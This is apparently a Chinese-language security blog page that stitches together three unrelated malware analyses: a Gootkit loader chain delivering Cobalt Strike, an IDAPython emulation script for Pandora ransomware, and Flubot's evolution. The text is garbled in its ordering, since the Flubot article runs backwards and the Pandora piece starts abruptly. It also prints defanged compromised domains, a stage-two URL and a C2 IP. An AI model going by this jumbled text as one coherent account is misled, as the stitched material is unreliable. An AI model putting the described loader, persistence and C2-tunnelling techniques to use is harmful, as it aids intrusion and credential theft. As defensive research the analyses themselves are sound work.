Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863108794

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

眾所周知,Gootkit使用無文件技術來釋放CobaltStrike和其他惡意負載。研究人員最近發現的一次攻擊,表面其戰術又有了更新。

研究人員對異常PowerShell腳本的深入分析揭示了與Gootkit加載程序相關的攻擊集。過去,Gootkit使用免費軟件安裝程序來屏蔽惡意文件;現在它使用法律文件來誘騙用戶下載這些文件。我們通過託管擴展檢測和響應(MxDR)以及調查PowerShell腳本的標誌來發現這種攻擊策略,該標誌允許我們阻止它造成任何損害並釋放其有效載荷。眾所周知,Gootkit使用無文件技術來傳遞值得注意的威脅,例如SunCrypt和REvil(Sodinokibi)勒索軟件、Kronos特洛伊木馬和CobaltStrike。

攻擊概述在與各種有效負載對比之後,我們可以假設Gootkit運行在一個訪問即服務模型上。因此,它可以被不同的組織用來進行攻擊,因此值得對其進行監控,以防止更大的威脅成功進入系統。

下圖說明了其感染程序。它從用戶在搜索引擎中搜索特定信息開始。在這種情況下,用戶搜索了關鍵詞“披露協議房地產交易”。結果中有一個被Gootkit運營商攻擊的網站,這意味著用戶打開這個被攻擊的網站並不是偶然的。事實上,運營商通過使用搜索引擎優化(SEO)攻擊來調整對他們有利的機率,使該網站在搜索結果中排名靠前,從而導致用戶訪問受感染的網站。這也意味著該網站的URL將不會長時間可用,如果不立即進行全面分析將難以進行。

1.png

MxDR看到的GootkitLoader感染鏈

打開該網站後,我們發現它以在線論壇的形式出現,直接回答受害者的問題。該論壇包含一個包含惡意.js文件的ZIP壓縮文件。當用戶下載並打開此文件時,它會生成一個混淆腳本,該腳本通過註冊表填充,在註冊表中安裝了一大塊加密代碼,並添加了計劃任務以實現持久性。然後通過PowerShell反射加載註冊表中的加密代碼,以重建CobaltStrike二進製文件,該二進製文件直接在內存中無文件運行。

我們剛剛描述的大部分內容仍然與我們在2020年報告的行為一致,但有一些小的更新。這表明GootkitLoader仍在積極開發中,並且已證明成功地攻擊了毫無戒心的受害者。

兩個明顯的變化引人注目:

搜索詞現在利用法律文檔模板而不是免費軟件安裝程序。

加密註冊表現在使用自定義文本替換算法而不是base64編碼。

被攻擊的網站通過追踪用戶的行為,我們現在可以看到攻擊中訪問的網站。眾所周知,攻擊者只會攻擊一個易受攻擊或配置錯誤的網站來植入他們的惡意軟件或工具,而不是創建或註冊一個新的惡意操作。在Gootkit的案例中,由於它破壞了一個合法域名,所使用的網站很可能通過了信譽服務。對於毫無戒心的用戶來說,訪問該網站不會引起懷疑,因為它對於歌唱和語音教練來說似乎是一個無害的網站。

2.png

受感染網站的主頁

對下載的文件執行搜索(“房地產交易披露協議”)表明,該網站的內容與其所有者及其目的無關。此外,通過導航網站的主頁本身無法找到這些搜索結果鏈接。這是該網站已被攻擊的證據,因為它允許攻擊者註入或創建新的不相關的Web內容。當我們通過託管網站的Shodan查詢IP地址時,我們還發現了更多漏洞證據。

3.png

谷歌搜索顯示網站中不需要的內容

這種策略對Gootkit來說並不是什麼新鮮事。再加上SEO攻擊,Gootkit運營商可以將受害者集中到一個受感染的網站,並誘使他們下載他們正在尋找的文件。在這次事件中,我們能夠在Gootkit加載程序釋放其有效載荷之前阻止它。然而,該用戶已經訪問了該網站,下載了惡意的ZIP文件,並打開了它。這些操作導致的異常PowerShell腳本提醒我們可能有惡意活動。在這次調查中,我們試圖找出如果PowerShell腳本沒有被標記並被允許運行會發生什麼。

調查分析如上所述,用戶訪問了受感染的網站並使用GoogleChrome下載了ZIP壓縮文件。根據TrendMicroVisionOneTM的記錄,他們訪問的確切URL如下:

4.png

截至撰寫本文時,該URL已無法訪問。但是,我們能夠分析用戶下載的ZIP壓縮文件。如前所述,它被命名為披露協議房地產交易(8321).zip。在另一個例子中,JavaScript文件被命名為家庭成員之間的租賃協議template(98539).zip。這兩個文件名都強烈表明Gootkit利用了引用法律文檔模板的關鍵字,可能會引誘用戶下載文件。需要注意的是,這個選擇的搜索詞和主題一直在發生變化。

5.png

VisionOne界面顯示用戶訪問受感染網站並下載ZIP壓縮文件的證據

ZIP壓縮文件已成功保存在下載文件夾C:\Users\{username}\Downloads\disclosureagreementrealestatetransaction(8321).zip中。

6.png

ZIP壓縮文件成功保存在用戶的Downloads文件夾中

然後,用戶打開了ZIP壓縮文件中的.js文件,該文件生成了一個混淆的PowerShell腳本。檢測到的命令行包括wscript.exe,Windows操作系統的默認腳本解釋器。此命令行運行惡意JavaScript文件。文件夾文件路徑和文件名如下所示:

7.png

通過.js文件生成的混淆PowerShell腳本

通過使用VisionOne的AMSI跟踪分析,該團隊能夠在運行時查看解碼的腳本並構建它生成的事件順序。在已解碼的腳本中,列出了三個可能受到威脅的域。這些域名本身就是合法的網站。 Gootkit只選擇一個並構造完整的URL以獲取下一階段的腳本執行。這裡列出了三個域:

learn[.]openschool.ua–教育

Lakeside-fishandchips[.]com–餐廳和美食

kristinee[.]com–個人網站

8.png

VisionOne的AMSI追踪記錄的解碼腳本

對腳本進行解碼也讓我們發現,為了完成操作需要兩個階段的腳本。第一階段腳本執行以下操作:

1.它檢查註冊表HKCU\PJZTLE,如果找不到則創建它。正如我們在之前的博客中討論的那樣,這可以作為感染標記。

2.然後它會檢查當前用戶是否登錄到可能用於繞過沙盒工具的域。

3.接下來,它連接到構造的URL以獲取下一個要執行的腳本。在本例中,它從hxxps://learn[.]openschool[.]ua/test.php?mthqpllauigylit=738078785565141檢索第二階段腳本。

然後,它會在運行獲取的代碼之前休眠10秒。

9.png

VisionOne的AMSI分析記錄的第一階段腳本執行流程

從上述受感染網站檢索到的第二階段腳本完成了此處列出的信息:

1.它通過環境字符串獲取當前用戶名;

2.它檢查目標註冊表並在它不存在時創建它。它為持久性執行註冊表填充,其中創建了兩組註冊表,每組都包含加密的二進製文件,稍後將被解碼和執行:

10.png

VisionOne的AMSI追踪記錄的\\Phone\\{loggedOnUser}\\上的註冊表填充

11.png

VisionOne的AMSI追踪記錄的\\Phone\\{loggedOnUser}0\\上的註冊表填充

在這兩個階段之後,它最終執行了兩個同樣由AMSITelemetry記錄的加密PowerShell腳本。第一個解密註冊表\\Phone\\{loggedOnUser}0\\的二進製文件,並用於啟動名為“Test”的函數。

12.png

VisionOne的AMSI追踪記錄的第一個PowerShell的解碼腳本

第二個PowerShell腳本通過計劃任務安裝持久性機制,其中它將用戶名分配為其任務名稱。

13.png

VisionOne的AMSI追踪記錄的第二個PowerShell解碼後的腳本

計劃任務將二進製文件加載到\Phone\{loggedOnUser}0註冊表,然後使用相同的反射代碼加載技術解密並執行在\Phone\{loggedOnUser}註冊表中找到的最終有效負載。

發現此實例的最終有效負載是一個CobaltStrike二進製文件,該二進製文件也被發現連接到CobaltStrike的命令和控制(CC)服務器。

CobaltStrike有效載荷CobaltStrike二進製文件以反射方式直接加載到內存中,已連接到IP地址89[.]238[.]185[.]13。使用內部和外部威脅情報,該團隊確認該IP地址是Cobalt Strike CC。 CobaltStrike是一種用於後期開發活動的工具,它使用信標組件作為主要有效負載,允許執行PowerShell腳本、記錄擊鍵、截屏、下載文件和生成其他有效負載。

14.png

總結從這個案例中得到的一個關鍵結論是,Gootkit仍然很活躍,並不斷迭代其技術。這意味著該操作已被證明是有效的,因為其他攻擊者似乎仍在繼續使用它。用戶未來可能會在其他活動中遇到Gootkit,並且它很可能會使用新的手段來發起攻擊。

分析還表明,SEO攻擊仍然是一種有效的釣魚策略。 SEO攻擊和合法網站受損結合可以掩蓋惡意活動的跡象,這些跡象通常會讓用戶保持警惕。這種策略突出了用戶意識的重要性以及網站所有者在確保其網絡空間安全方面的責任。

各類組織可以通過對其員工進行用戶安全意識培訓來提供幫助,該培訓旨在使人們能夠識別並保護自己免受最新威脅的攻擊。例如,在本例中,如果用戶對下載JavaScript文件更加謹慎,則可以更早地避免威脅。另一方面,網站所有者必須通過選擇強調自己服務器安全性的網絡託管服務提供商來做出更好的網絡託管選擇。

這個案例凸顯了監控的重要性。值得注意的是,跨平台XDR阻止了這種攻擊升級,因為我們能夠迅速隔離受影響的計算機,阻止對網絡造成進一步的損害。例如,CobaltStrike有效載荷可能會導致更嚴重的問題,例如勒索軟件的部署、橫向移動的憑證轉儲和數據洩露。託管XDR服務阻止了這一切的實現。

對於逆向工程人員來說,他們會經常使用模擬技術來對抗此示例中的函數調用混淆和字符串加密。我們將使用flare-emu 框架實現一個IDAPython 腳本,以使IDA Pro 中的反彙編更具可讀性。這將對樣品的靜態分析有很大幫助。

以Pandora為例在這篇文章中,我將討論在Pandora 中看到的惡意程序研發人員使用的兩種特定的反逆向工程技術:

1.使用不透明謂詞進行函數調用混淆;

2.加密字符串;

使用不透明謂詞的函數調用混淆下圖顯示了Pandora 勒索軟件中一個簡單的函數調用在解壓後的樣子。

graphic-01.png

Pandora 中的標準函數調用

我們可以看到正在調用的函數的地址是在運行時計算的。 cs:qword_7FF6B6FF9AB8 似乎是某種函數地址表的基地址。然後我們使用硬編碼值在該表中找到正確的函數指針,這就是我們在調用它之前加載到rax 中的內容。不透明謂詞通常表示程序中的表達式,其結果為程序員所知,但仍需要在運行時進行評估。它以許多不同的方式用作混淆和反分析技術。在這種情況下,進入rax 的值是固定的,但是因為它仍然必須在運行時計算,它會破壞靜態分析工具。

如果我們以上圖為例,rax 中的地址是這樣計算的:

2.png

或十進制:

3.png

此類問題的簡單解決方案是在調試器中運行惡意軟件並從那裡獲取地址。但是在這個示例中,所有函數調用都是這樣的,靜態鏈接庫中的函數調用除外。這意味著我們需要在調試器中的每個函數調用處中斷,以便對惡意軟件中發生的事情進行自動化處理。

加密字符串這個特定勒索軟件樣本的另一個挑戰是所有有趣的字符串都被加密了。二進製文件中有很多純文本字符串(如下圖所示),但它們大多是Windows API 函數名稱和嵌入式庫中的字符串。沒有任何可以幫助我們了解惡意軟件正在做什麼的字符串以純文本形式提供。這在現代惡意軟件中非常常見,因此該挑戰的解決方案可用於對抗各種惡意軟件。

4.png

Pandora 示例中的字符串

通常當遇到帶有加密字符串的惡意軟件時,有兩種方法:

1.使用動態方法,例如調試或模擬,並使用惡意軟件自己的字符串解密函數來完成工作。

2.如此詳細地了解解密功能,以至於可以在一個簡單的腳本中重新實現它。當加密是簡單的單字節異或時,這通常是最簡單的途徑。

就Pandora 而言,至少有14 個不同的字符串解密函數,因此重新實現解密算法可能並不總是可行的。

模擬模擬允許我們假裝代碼運行在CPU 上,但模擬軟件運行的不是真正的CPU,而是運行代碼。與實際執行相比,模擬通常非常慢。但是,它允許我們完全控制我們想要運行的內容以及與模擬代碼的高度交互。例如,使用模擬器,我們可以只模擬惡意軟件的一個功能,甚至只是幾行代碼,並在每條指令處評估程序的狀態。在這種情況下,模擬的一大優勢是我們可以直接在IDA Pro 中進行。

flare-emuflare-emu 是由Mandiant 的FLARE 團隊創建的模擬框架。它建立在著名的模擬引擎Unicorn Engine 和IDAPython 之上。可以直接使用Unicorn 引擎,但flare-emu 隱藏了它的一些複雜性。本質上,人們可以定義想要模擬的內容,並為特定的掛鉤定義回調函數,當模擬到達該掛鉤時將調用這些函數。一個很好的例子是callHook 參數,它接受一個回調函數,每次將要模擬CALL 指令時調用該函數。在這個回調函數中,我們可以實現在那種情況下我們想做的任何事情,即轉儲寄存器、更改數據、跳過調用等。 flare-emu 變得非常簡單且相對易於使用。

解決挑戰我們可以編寫一些代碼來使用IDAPython 腳本解決這些挑戰。

函數調用混淆下圖再次顯示了我們首先要解決的問題。這是Pandora 代碼解包部分中main() 函數中的第一個函數調用。我們可以相當確定,如果我們模擬main() 函數並在調用之前檢查rax 的值,那麼我們會得到正確的結果。我們也可以讀出函數調用的參數,並將所有這些信息作為IDA Pro 中的註釋添加到彙編代碼中。

5.png

函數調用混淆

讓我們開始整理我們的IDAPython 腳本。下圖顯示了我們如何初始化模擬。當我們啟動腳本時,它應該模擬IDA 中光標當前所在的函數(由get_screen_ea() 返回)。

6.png

初始化模擬

要初始化flare-emu,我們只需要實例化一個EmuHelper。 Flare-emu 提供了不同的方式來運行我們的模擬。我們使用emulateRange() 函數,它用於指定我們想要模擬的內存範圍。我們將起始地址設置為函數的開頭,結束地址可以省略(python 中為None),這意味著模擬將一直運行,直到到達返回類型指令。請注意,iterateAllPaths() 而不是emulateRange() 也應該可以工作,但是由於Pandora 中的另一種混淆技術導致了問題,這不在本文的討論範圍內。但在不太複雜的惡意軟件中iterateAllPaths() 可能是更好的選擇。

當調用flare-emu 的一個模擬函數(在這種情況下為emulateRange())時,模擬開始。該框架允許我們為模擬提供額外的細節,例如帶有寄存器和堆棧的處理器狀態,或回調函數的數據,但我們現在不需要這些。

emulateRange() 允許我們為不同的掛鉤定義回調函數:

1.指令掛鉤:在模擬每條指令之前調用。我用它為IDA 中模擬的每條指令塗色,以可視化模擬的覆蓋範圍。

2.調用掛鉤:每當模擬CALL 類型的指令時調用。請注意,默認情況下不會模擬被調用的函數。

3.內存訪問掛鉤:每當訪問內存以進行讀取或寫入時調用。

對於我們當前的任務,我們只需要callHook。如上圖中的第9 行所示,我們已經將call_hook 函數名稱作為callHook 參數傳遞。接下來,我們需要定義callHook 函數,如下圖所示。

7.png

call_hook() 的第一個實現

我們創建了call_hook() 函數,每次在模擬CALL 指令之前,模擬器都會調用該函數。在其當前狀態下,該函數將記錄它已被執行,然後使用analysisHelper 檢查當前CALL 指令中的操作數是否為寄存器。如果沒有,那麼我們可以返回,因為只有註冊案例對我們來說是有趣的。然後我們恢復寄存器的名稱(operand_name) 及其值(operand_name) 並暫時記錄它們。如果我們針對main 函數運行腳本,那麼我們會得到下圖中的結果。請注意,由於Pandora 代碼中存在許多其他惡意混淆,這個簡單的腳本將無法模擬整個函數。但這可以通過擴展腳本來完成。

8.png

第一次測試的結果

通過模擬找到了三個CALL 指令並打印了操作數寄存器的值。仔細想想,我們基本上解決了函數調用混淆的問題,因為我們現在知道不同的CALL 指令調用了哪些地址。現在我們只需要將它添加到IDA 中的反彙編中。這些是每當我們解析CALL 指令時我們想要在IDA 中做的事情:

1.添加一個帶有被調用函數地址的註釋。

2.為該函數調用添加帶有參數的註釋。

在IDA 中為調用的函數添加交叉引用

更新後的代碼如下圖所示。

9.png

添加評論和交叉引用

在創建評論時,我們使用了來自flare-emu 的一個功能。它允許我們以獨立於架構的方式獲取函數參數。這個惡意軟件是x86_64,所以我們可以只使用rcx、rdx、r8、r9 和堆棧。調用掛鉤獲取的參數之一是參數變量,它將包含flare-emu認為是此函數調用的參數的值。當然,如果不分析被調用的函數,我們將不知道需要多少參數,所以我們只打印所有參數。

最後(第23 行)我們添加了一個IDA 交叉引用,這將對我們的分析有很大幫助。如果我們在main 函數上再次運行此代碼,我們會得到下圖中的結果。

10.png

函數調用解析的結果

加密字符串現在我們已經解決了第一個問題,並且有了一個可以使用的模擬框架,我們可以繼續我們的第二個挑戰,解密字符串。為了能夠知道要模擬哪個函數來解密字符串,我們唯一的要求是我們需要知道哪些函數是解密函數。與往常一樣,逆向工程是一個迭代過程。一旦我們運行我們在main 函數上編寫的腳本,那麼我們就可以開始分析調用的函數了。那麼我們如何判斷一個函數是否是一個解密函數呢?

1.我們在IDA 中看到了這一點。無需深入研究0x7ff6b6f971e0 處的函數,我們可以在圖形視圖中看到它相當簡單並且有一些循環。

11.png

0x7ff6b6f971e0 處函數的圖形視圖

如果我們滾動瀏覽代碼,我們會在下圖中找到基本塊,我們可以看到它迭代了某個值並對其進行異或。這表明它可能是基於XOR 的編碼/加密。

12.png

XOR 表示解碼/解密

2.我們在調試器中看到它。在進行靜態分析的同時,我們當然也可以調試惡意軟件(在安全的環境中)。在調試器中,當我們看到一個函數獲取一些地址作為輸入並返回一個字符串時,這可能意味著它是一個解密函數。下圖顯示了0x7ff6b6f971e0 處的函數何時返回,並且確實在rcx 中返回了字符串“ThisIsMutexa”。

13.png

解密後的字符串出現在rcx 中

一旦我們知道一個函數是一個解密函數,我們就可以相應地重命名它(我們使用了mw_decrypt_str())。有趣的是,Pandora 使用了多個解密函數,隨著我研究深入,我們慢慢發現了這些函數。最後,我們確定了14 個不同的解密函數,但其中大多數看起來與圖9 非常相似,這使我們能夠快速查看一個函數是否只是另一個解密函數。

一旦我們知道了(一些)解密函數,我們就可以改進我們的idpython腳本,以便在看到解密函數被調用時模擬函數調用。這實際上非常類似於flare-emu文檔中的一個示例,該文檔展示了此類代碼通常可以很好地重用。

下圖顯示了更新後的call_hook() 函數。從第23 行開始,我們首先檢查我們正在調用的地址處的函數是否具有包含字符串mw_decrypt_str 的名稱。這就是我們判斷被調用函數是否為解密函數的方式。

14.png

向call_hook() 添加解密

如果它是一個解密函數,那麼我們在腳本中調用decrypt()函數。這將返回解密後的純文本字符串。然後,我們創建一個註釋,其中也將包含解密後的字符串。

解密過程如下圖所示。我們創建一個新的EmuHelper 實例,在啟動emulateRange 時,我們使用函數名稱(fname) 來獲取函數的地址作為起始地址。我們還將argv 數組的前四個元素作為參數寄存器傳遞。最後我們返回argv[0]中的值。

15.png

模擬解密進程

在IDA 中運行腳本後,結果如圖12 所示。解密後的字符串是ThisIsMutexa,它被添加到註釋中並記錄在輸出中。

16.png

字符串解密成功

現在我們可以自動解密字符串了。隨著我們對代碼的分析和更多解密函數的發現,我們可以在調用這些解密函數的函數上重新運行腳本來恢復純文本字符串。

結論Pandora 勒索軟件包含混淆和反逆向工程技術。在這篇文章中,我們研究了其中兩個:函數調用混淆和字符串加密。我們使用flare-emu 模擬框架編寫了一個IDAPython 腳本來解析函數調用的地址和參數,並模擬解密函數以將字符串恢復為純文本。最終腳本可以進一步開發,以應對Pandora 勒索軟件深入分析中討論的其他反逆向工程挑戰。

2021年10月至11月:Flubot4.9版出現了“Android安全更新”活動和新的重大協議更改在10月和11月的大部分時間裡,Flubot的攻擊者們沒有修改惡意軟件的版本號。

在10月初,研究人員看到了一個不同於之前DHL/Correos/Fedex或者“語音郵箱”的活動。這一次,攻擊者們開始將Flubot作為一個假冒的Android安全更新。

似乎這個新的傳播活動沒有按預期工作,因為幾天后攻擊者們繼續使用“語音郵件”傳播活動。

安靜了一段時間以後,直到11月下旬,新樣本又重新出現了,對用於與C2服務器通信的協議進行了重大更改。現在,攻擊者們不再隨意增加版本號了,即使有像這樣的重大變化。

此協議更改允許惡意軟件與C2服務器進行通信,而無需與它們建立直接連接。 Flubot使用TXTDNS請求到常見的公共DNS服務器(Google、CloudFlare和AliDNS)。然後,這些請求被轉發到實際的C2服務器(實現DNS服務器)以從服務器獲取TXT記錄響應並將其轉發給惡意軟件。從受感染設備中竊取的信息是使用RC4加密發送的(與以前的協議版本中使用的方式非常相似)並對加密字節進行編碼。這樣,編碼的有效載荷被用作DGA生成域的子域。來自C2服務器的響應也被加密和編碼為對TXT請求的TXT記錄響應,它包括執行傳播活動的smishing任務或用於竊取憑據的Web注入的命令。

13.png

通過這個新協議,Flubot使用來自谷歌和CloudFlare等知名公司的DoH服務器與C2服務器建立某種隧道。使用這種技術,通過網絡流量監控檢測惡意軟件非常困難,因為惡意軟件沒有直接與未知或惡意服務器建立連接。此外,由於它使用的是DoH,所有的DNS請求都是加密的,因此網絡流量監控無法識別那些惡意的DNS請求。

C2服務器協議中的這一重大變化也可以解釋前幾個月的低活躍度。可能開發人員正在努力改進協議以及惡意軟件和C2服務器後端代碼。

2021年12月:Flubot5.0-5.1版中出現了“FlashPlayer”活動和DGA更改最終,攻擊者們在12月決定將版本號提高到5.0。這個新版本帶來了一個小而有趣的變化:除了web注入HTML和JavaScript代碼之外,Flubot現在還可以接收url。在5.0版本之前,C2服務器會發送web注入代碼,當受害者打開目標應用程序以竊取憑證時,這些代碼被保存在設備上以備將來使用。從5.0版本開始,C2服務器轉而發送URL,所以Flubot的惡意軟件必須訪問URL並將HTML和JavaScript源代碼保存在內存中以備將來使用。

14.png

直到12月底,攻擊者們才發布了Flubot5.1。12月31日,研究人員首次發現了Flubot5.1的樣本。接著在1月2日,Flubot5.2的樣本就出來了。 5.1版對DGA進行了一些重要更改。這一次,攻擊者引入了大量TLD來生成新域,同時還引入了一個用於從C2服務器接收新的DGA種子的新命令——UPDATE_ALT_SEED。根據研究人員的研究,這個新命令從未被使用過,因為所有新感染的設備都必須使用硬編碼種子生成的域連接到C2服務器。

15.png

除了去年12月的新變化和新功能,攻擊者們還推出了一個新的活動:“FlashPlayer”。該活動與“語音郵箱”活動一起使用,後者仍然是最常用於傳播Flubot的活動。在這次新活動中,受感染設備向受害者發送了一條短信,試圖誘使他們安裝一個“FlashPlayer”應用程序,以便觀看受害者出現的虛假視頻。下圖顯示了傳播網站是多麼簡單,當受害者打開鏈接時顯示。

16.png

2022年1月:Flubot5.2-5.4版本改進Smishing功能和新的“直接回复”功能在2022年1月初,研究人員檢測到了新版Flubot的新樣本。這一次,5.2版引入了一些細微的變化,其中攻擊者增加了對smishing任務的更長文本消息的支持。他們不再使用通常的Android的“sendTextMessage”功能,而是開始使用“sendMultipartTextMessage”和“divideMessage”。這允許他們使用較長的消息,並將其拆分為多個消息。

17.png

在發現5.2版本的新樣本幾天后,又檢測到了5.3版本的樣本。不過開發者卻沒有引入新功能,而是刪除了一些未使用的舊代碼。這個版本似乎是用來清理代碼的版本。此外,在Flubot5.3的第一個樣本出現三天后,就檢測到該版本的新樣本,並增加了新的國家:日本、香港、韓國、新加坡和泰國。

18.png

到1月底,攻擊者又發布了新版本:Flubot5.4。這個新版本引入了一個有趣的新功能:直接回复。該惡意軟件現在能夠攔截受感染設備中收到的通知,並使用從C2服務器接收到的配置消息自動回复它們。

19.png

為了獲取將用於回复通知的消息,Flubot5.4引入了一個新的請求命令“GET_NOTIF_MSG”。如下圖所示,此請求命令用於獲取消息,以便在接收到新通知時最終使用該消息。

20.png

儘管這是一個提高殭屍網絡傳播能力的有趣的新功能,但它並沒有持續太久。它在以下版本中被刪除。

就在同一個月,研究人員檢測到另一個Android銀行惡意軟件Medusa,它分佈在Flubot的一些smishing任務中。這意味著,Flubot殭屍網絡又一次被用作傳播殭屍網絡來傳播另一個惡意軟件家族。 2021年8月,它被用於傳播Teabot。現在,它已被用於傳播Medusa。

如果把這些現象聯繫起來,就可以解釋為什麼會有新的“直接回复”功能和“多部分消息”的使用。由於Medusa的攻擊者們提出了使用Flubot殭屍網絡作為傳播服務的建議,這些改進可能已經引入Flubot的新功能中了。

2022年2月至4月:Flubot5.5版中新增竊取cookie功能從1月下旬(研究人員第一次在野外觀察到5.4版)到2月下旬,將近一個月過去了,新版本才發布。研究人員認為這種情況的發生與之前的時間段相似,例如2021年8月至11月,當時攻擊者們就是在這個時間段對協議進行了重大更改。這一次,攻擊者們似乎正在悄悄地開發新的Flubot5.5,它帶有一個非常有趣的功能:Cookie竊取。

通過查看新代碼,研究人員首先意識到在請求目標應用列表時發生了一點變化。此請求必須包含受感染設備中已安裝應用程序的列表。因此,C2服務器將提供目標應用程序的子集。在這個新版本中,當執行“GET_INJECTS_LIST”請求時,“.new”被附加到已安裝應用程序的包名稱中。

21.png

一開始,當使用附加到數據包名的“.new”時,C2服務器使用URL進行響應,以獲取用於竊取憑據的Web注入。

過了一段時間,C2服務器開始回复銀行和加密貨幣平台的官方URL,這看起來很奇怪。在分析了代碼之後,研究人員發現他們還引入了代碼來竊取用於顯示web注入的WebView的cookie——在本案例中,目標實體的網站。網站不同UI元素的點擊和文本更改也會被記錄並發送到C2服務器,所以攻擊者不僅竊取cookie,他們還可以通過“鍵盤記錄”竊取憑證。

竊取cookie的代碼可以接收到一個URL,就像它可以接收到一個URL來獲取web注入一樣,但這次訪問的URL並沒有接收到web注入。相反,它接收一個新的URL(官方銀行或服務URL)來加載和竊取憑據。在下圖中,顯示了來自用於下載Web注入的受感染網站的響應。在本示例中,它被用來獲取用於竊取GMailcookie的有效負載(當受害者試圖打開Android電子郵件應用程序時顯示)。

22.png

當受害者登錄到合法網站後,Flubot將接收並處理網站加載結束的事件。此時,它獲取cookie並將它們發送到C2服務器,如下圖所示。

23.png

2022年5月:Flubot版本5.6出現,會是Flubot的最後一個版本嗎?果然沒過一個月,Flubot的新版本在5月初問世,即Flubot5.6。這是最後一個已知的Flubot版本。

這個新版本增加了一個有趣的新功能:彩信發送任務。借助這項新功能,攻擊者可以繞過運營商檢測。許多用戶被感染後,他們的設備在他們不知情的情況下發送短信。

為了增加這個新功能,攻擊者們添加了新的請求命令:

–GET_MMS:用於獲取電話號碼和要發送的短信(類似於之前用於發送短信的常用GET_SMS)

–MMS_RATE:用於獲取發出“GET_MMS”請求並發送消息的時間速率(類似於之前用於發送短信的通常SMS_RATE)。

24.png

這個版本在5月1日發布後,C2服務器在5月21日停止工作。他們直到5月25日才下線,但他們仍然不能正常工作,因為他們的回复都是空的。最終,在6月1日,歐洲刑警組織在他們的網站上公佈,他們在不同國家警察的合作下摧毀了Flubot的基礎設施。是荷蘭警方拆除了基礎設施。這可能是因為在2022年的某個時候,Flubot C2服務器將託管服務更改為荷蘭的託管服務,使其更容易被關閉。

這是否意味著Flubot的終結?目前還不能確定,但似乎警方沒能拿到RSA私鑰,因為他們沒有讓C2服務器發送命令來檢測並移除設備上的惡意軟件。

這意味著攻擊者只需註冊新的域名,在一個“更安全”的國家建立所有的基礎設施,並提供託管服務,就能讓Flubot回歸。由於離線時間的原因,攻擊者可以用較少的被感染設備恢復他們的殭屍網絡,但仍然有一些設備繼續發送欺騙消息來感染新的設備。這取決於攻擊者的意圖,因為警察似乎還沒有找到他們。

總結Flubot是過去幾年來最活躍的銀行惡意軟件家族之一。這可能是由於他們強大的傳播策略——詐騙。這個惡意軟件一直在使用被感染的設備向從受害者智能手機中竊取的手機號碼發送短信。但是,在這個人人都習慣於網上購物的時代,再加上虛假的包裹快遞信息,使其成為一個重要的威脅。

正如我們在這篇文章中看到的,攻擊者非常頻繁地引入了新功能,這使得Flubot更加危險和具有傳播性。這些更新和新功能的很大一部分是為了提高惡意軟件在不同國家的傳播能力,還有一些是為了提高證書和竊取信息的能力。

一些更新對協議進行了重大更改,使得通過網絡監控更難被檢測到,使用基於DoH隧道的協議,這在Android惡意軟件世界中確實不常見。在出現一年半後,攻擊者開始使用荷蘭的託管服務後,被警方關閉C2服務器。不過攻擊者仍然可以將基礎設施移回“更安全”的託管並註冊新的DGA域以恢復其殭屍網絡。現在確定Flubot終結還為時過早。

Flubot是一個基於Android的惡意軟件,在過去一年半中已在歐洲、亞洲和大洋洲大肆攻擊,這些被攻擊的設備大多是毫無戒心的受害者。與大多數Android銀行惡意軟件一樣,Flubot也是濫用輔助功能和服務來竊取受害者的憑據,當受害者在檢測官方銀行應用程序時,攻擊者會提供一個虛假的網絡注入,比如一個類似於銀行登錄表單的網絡釣魚網站應用。 Flubot之所以大肆肆虐的一個重要原因是由於分佈其活動中使用的策略,因為它一直在使用受感染的設備發送短信,引誘新的受害者從虛假網站安裝惡意軟件。

在本文中,我們詳細介紹了它的演變發展史,包括新功能和傳播活動。

1.png

Flubot作為當今最流行的活躍Android銀行惡意軟件家族之一。 Flubot銀行惡意軟件家族至少從2020年末到2022年第一季度期間就開始傳播。它的流行來自於它的傳播方法:smishing。攻擊者一直在使用受感染的設備向其他電話號碼發送短信,在從其他受感染的設備中竊取並存儲在命令和控制服務器(C2)中。

在最初的活動中,攻擊者使用虛假的Fedex、DHL和Correos(一家當地的西班牙包裹運輸公司)發送短信。這些短信是虛假通知,誘使用戶進入虛假網站,以下載移動應用程序來跟踪運輸。這些活動很容易得手,因為現在大多數人習慣於在線購買不同類型的產品並接收此類消息以跟踪產品的運輸。

Flubot不僅是一個非常活躍的家族,其幕後的開發者也一直非常積極的在更新其新功能。

2022年6月1日,歐洲刑警組織宣佈在包括11個國家的聯合行動中取締Flubot。荷蘭警方在這次行動中發揮了關鍵作用,並於2022年5月成功摧毀了基礎設施,使這種惡意軟件變得不活躍。

初始版本:Flubot0.1-3.3版本一開始便針對西班牙發起攻擊,並迅速成為一種新型Android惡意軟件Flubot樣本於2020年11月-12月間首次在野外被發現。有關此惡意軟件的公開信息於2021年1月6日由ThreatFabric首次傳播。儘管ThreatFabric是第一個傳播關於這個新家族的公共信息並將其稱為“Cabassous”的人,但研究界更願意將這種惡意軟件稱為Flubot。

2.png

在最初的活動中,Flubot是使用Fedex和Correos虛假短信傳播的。在這些消息中,用戶被重定向到一個虛假網站,該網站會偽裝成一個“登陸頁面”,用於下載本應是一個Android應用程序來跟踪運輸。

3.png

3.2.png

在使用Flubot3.4之前的最初活動版本中,攻擊者使用每個國家的特定樣本支持其他國家的新活動。不同國家的樣本不同的原因是:

——域生成算法(DGA)。它使用不同的種子每月生成5000個不同的域。比如德國使用1945作為DGA的種子。

——用於從受感染的設備發送更多的傳播詐騙短信的電話國家代碼,並屏蔽這些號碼,以避免受害者之間的通信。

初始版本(從0.1到3.3)中沒有功能相關的重大變化。它主要專注於傳播活動,試圖感染盡可能多的設備。

在最初的版本中有一個重要的更改,但是很難找到首次引入此更改的確切版本,因為在公共存儲庫中有些版本沒有示例。攻擊者們引入了網絡注入來竊取證書,這是Android設備上最流行的竊取證書的策略。該功能於2020年12月在0.1到0.5版本之間被引入。

在那些最初的版本中,開發者們在短短幾天內就增加了惡意軟件的版本號,而沒有做出重大改變。大多數樣本,尤其是2.1版本之前的樣本,都沒有上傳到公共惡意軟件庫,這使得追踪Flubot的第一個版本變得更加困難。

4.png

在這些初始版本(0.5之後)中,攻擊者還引入了其他不太流行的功能,例如用於撥打特殊號碼來賺錢的“USSD”(“RUN_USSD”命令),它是在版本1.2和1.7之間的某個時間點引入的。事實上,Flubot的攻擊者似乎並未真正使用此功能。最常用的功能是用於竊取銀行和加密貨幣平台憑據的Web注入以及發送SMS功能以傳播和感染新設備。

